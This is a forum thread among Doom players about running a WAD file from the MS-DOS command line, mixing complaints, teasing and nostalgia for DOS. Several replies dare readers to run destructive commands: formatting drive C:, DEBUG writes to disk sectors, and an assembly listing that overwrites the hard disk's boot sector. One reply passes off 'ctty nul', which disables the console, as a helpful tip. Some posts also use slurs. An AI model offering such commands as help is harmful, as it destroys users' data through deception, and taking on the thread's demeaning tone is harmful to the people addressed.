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DooMBoy

I hate MS-DOS

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I tried to run the ICD-DDF WAD you can find at the Immoral Conduct place. It says that you have to run the file with the command line. I did exactly what the readme.txt said to do. I tried with GLEDGE32. Didn't work. Same old Doom. Tried again with EDGE32, and the damned thing still didn't work. Same weapons.
What is UP with that?
Is is not supposed to work?
I hate the MS-DOS/command line bullshit.

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Really? I'd much rather use a command line than some annoying Front-end. At least in most cases.

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Command line shit is gay in Windows... especially when you have to create a new shortcut and stuff will all these parameters
argh

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Hmm.

* Katarhyne looks at DooMBoy's title.

Oh, right.

* Katgut looks at Katarhyne's lack of title.
* Katgut looks at HIS lack of title.
* Katgut runs screaming.

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I tried to run the ICD-DDF WAD you can find at the Immoral Conduct place. It says that you have to run the file with the command line. I did exactly what the readme.txt said to do. I tried with GLEDGE32. Didn't work. Same old Doom. Tried again with EDGE32, and the damned thing still didn't work. Same weapons.
What is UP with that?
Is is not supposed to work?
I hate the MS-DOS/command line bullshit.

Stupidity cannot be concealed.


Yes, indeed. What can be simpler than DOOM -FILE PATHNAME\FILENAME.WAD ?

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I hate the MS-DOS/command line bullshit.


So do I.
Certainly because I don't understand it anymore...
Win2k have made me lazy and hostile to the command line...Sure.

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Yes, indeed. What can be simpler than DOOM -FILE PATHNAME\FILENAME.WAD ?

Or rather, MOVING THE FUCKING WAD INTO YOUR FUCKING GAME DIRECTORY???????

Either way, it doesn't take much work.

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Person who don't know how to use simple Dos command lines = Retard

Stupidity cannot be concealed.

We have a pattern here!

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PC DOS 7.0 is really nice. I love command lines. Btw, I have added a DOS to my Mac, it is called MacDos and allows to manage some things in the Mac OS a bit easier. Recently a friend who also uses MacOS saw that desktop he got big eyes and called me pervert :)

Uddate: MacDos is just a kind of application, that has to be started after the OS runs.

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I dare all you who fear DOS to type the following command.

ECHO Y | FORMAT C:

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doomboy... ever heard of a batch file?

try this, it might help. boot into dos, and type:

ctty nul

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DOS itself is shit because of 16 Bit.

...but the Win2K Shell is necessary if you want to to some freaky things...and it's Win32 :)

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I dare all you who fear DOS to type the following command.

ECHO Y | FORMAT C:

M'geh.

I dare all of you who fear DOS to do the following:

1) At the prompt, type in DEBUG.
2) Type in w 0100 2 0 1 and hit enter.

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A:\>debug
-F 200 L1000 0
-A CS:100
2F83:0100 MOV AX,301
13B2:0103 MOV BX,200
039A:0106 MOV CX,1
3C42:0109 MOV DX,80
92E1:010C INT 13
2101:010E INT 20
1337:0110
-G
Program terminated normally
-Q
A:\>c:

C:\>dir

Not ready reading drive C:
Abort, Retry, Fail?f

Current drive is no longer valid>e:

E:\>cd i386

E:\i386>winnt

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how can u hate DOS?!!! DOS rules, even if i am an up and coming LINUX user DOS still kicks ass. you just need to take time and leanr it. Also not all doom ports or other programs will run with DOS, or they will do some strange things. Take time to practice DOS. Hey at least we dont have to type in this command "high" to play doom anymore, but in a sad little way i miss the high command.

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